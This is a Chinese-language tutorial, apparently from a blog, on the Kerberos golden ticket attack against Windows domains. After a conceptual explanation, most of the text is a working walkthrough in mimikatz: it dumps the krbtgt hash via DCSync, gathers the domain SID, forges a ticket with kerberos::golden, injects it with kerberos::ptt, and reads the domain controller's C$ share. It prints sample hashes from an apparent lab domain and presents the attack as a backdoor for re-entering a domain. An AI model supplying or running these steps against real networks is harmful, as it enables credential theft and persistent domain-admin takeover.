黄金票据攻击是网络安全领域中一种重要的渗透攻击手段。它利用Kerberos身份认证协议中的漏洞,允许攻击者伪造域控krbtgt用户的TGT(Ticket-Granting Ticket)。一旦攻击者成功伪造了TGT,他们就可以访问网络中的任何资源,而无需知道任何有效用户的账户凭据。这种攻击方式可以让攻击者在域中提升权限,甚至取得域管理员权限。
黄金票据攻击的前提是攻击者需要获得管理员访问域控制器的权限,并抓取到krbtgt hash。攻击者通常会通过运行恶意软件、使用其他恶意攻击手段,或者通过收集系统中存在的凭证、使用暴力破解等方式获取这些必要的信息。
黄金票据攻击的核心在于伪造不受TGT生命周期影响的票据。正常情况下,TGT具有默认的生命周期(通常为10小时),并可以最多续订7天。然而,通过黄金票据攻击,攻击者可以生成一个不受这些限制影响的TGT,从而长期访问网络资源。
Windows 的认证协议主要有两种,一种是 NTLM 认证,另一种是 Kerberos认证。
这里主要简单说一下Kerberos认证方式,这是一种基于票据的认证方式,有客户端、服务器和KDC(DC,Domain Controller)组成。
认证流程::
黄金票据的制作条件主要包括以下几个方面:
(Get-ADDomain).DNSRoot
命令获取。(Get-ADDomain).DomainSID.Value
命令获取。注意:
制作域管的TGT票据,首先需要获取Krbtgt账户的密码hash,而Krbtgt账户的密码hash存储在域控制器上,因此需要活动域管理员权限。
综上,是个死循环,所以黄金票据攻击,并不是一种普通的攻击方式,该攻击方式其实是一种后门的形式,属于第二次进行攻击的方法,第一次拿到域管权限之后,需要将krbtgt hash进行保存,当第二次再来进行渗透攻击时,我们就可以使用krbtgt hash制作黄金票据,从而获得管理员权限。
1.获取Krbtgt的hash
首先以管理员权限,在域控制器上执行mimikatz命令:
privilege::debug
lsadump::dcsync /user:krbtgt
记录Krbtgt用户的以下信息:
Hash NTLM: 4c32d497137ce2fbc28c297e73a87889
aes256_hmac: 414818be77de302b3801226cfe04599fb9aabfe114231a29d1386ee4d6507067
2.域sid
在普通域成员机器上,使用 “whoami /user” 获取。
记录普通域用户id信息:
student01:S-1-5-21-3792756393-3386897061-2081858749
3.域账户
域账户:student01
4.域名
在普通域成员机器上,使用 “systeminfo” 获取。
记录域名:college.com
制作黄金票据所需内容
Hash NTLM:4c32d497137ce2fbc28c297e73a87889
域名:college.com
域账户:student01
域sid:S-1-5-21-3792756393-3386897061-2081858749
使用mimikatz制作黄金票据
在获取上面信息后,使用mimikatz工具生成黄金票据(普通域用户权限即可制作),过程如下:
1.查看当前票据
kerberos::list
2.清空票据 #防止之前的票据对新作的票据产生影响
kerberos::purge
3.制作黄金票据 /admin:用户名任意 /ticket:票据名称任意即可
kerberos::golden /admin:administrator /domain:college.com /sid:S-1-5-21-3792756393-3386897061-2081858749 /krbtgt:4c32d497137ce2fbc28c297e73a87889 /ticket:ticket.kirbi
会在当前目录下生成黄金票据:
4.导入黄金票据
kerberos::ptt ticket.kirbi
kerberos::list
5.在普通域用户机器上,重新打开cmd窗口,可以直接列出域控目录
dir \dc.college.com\c$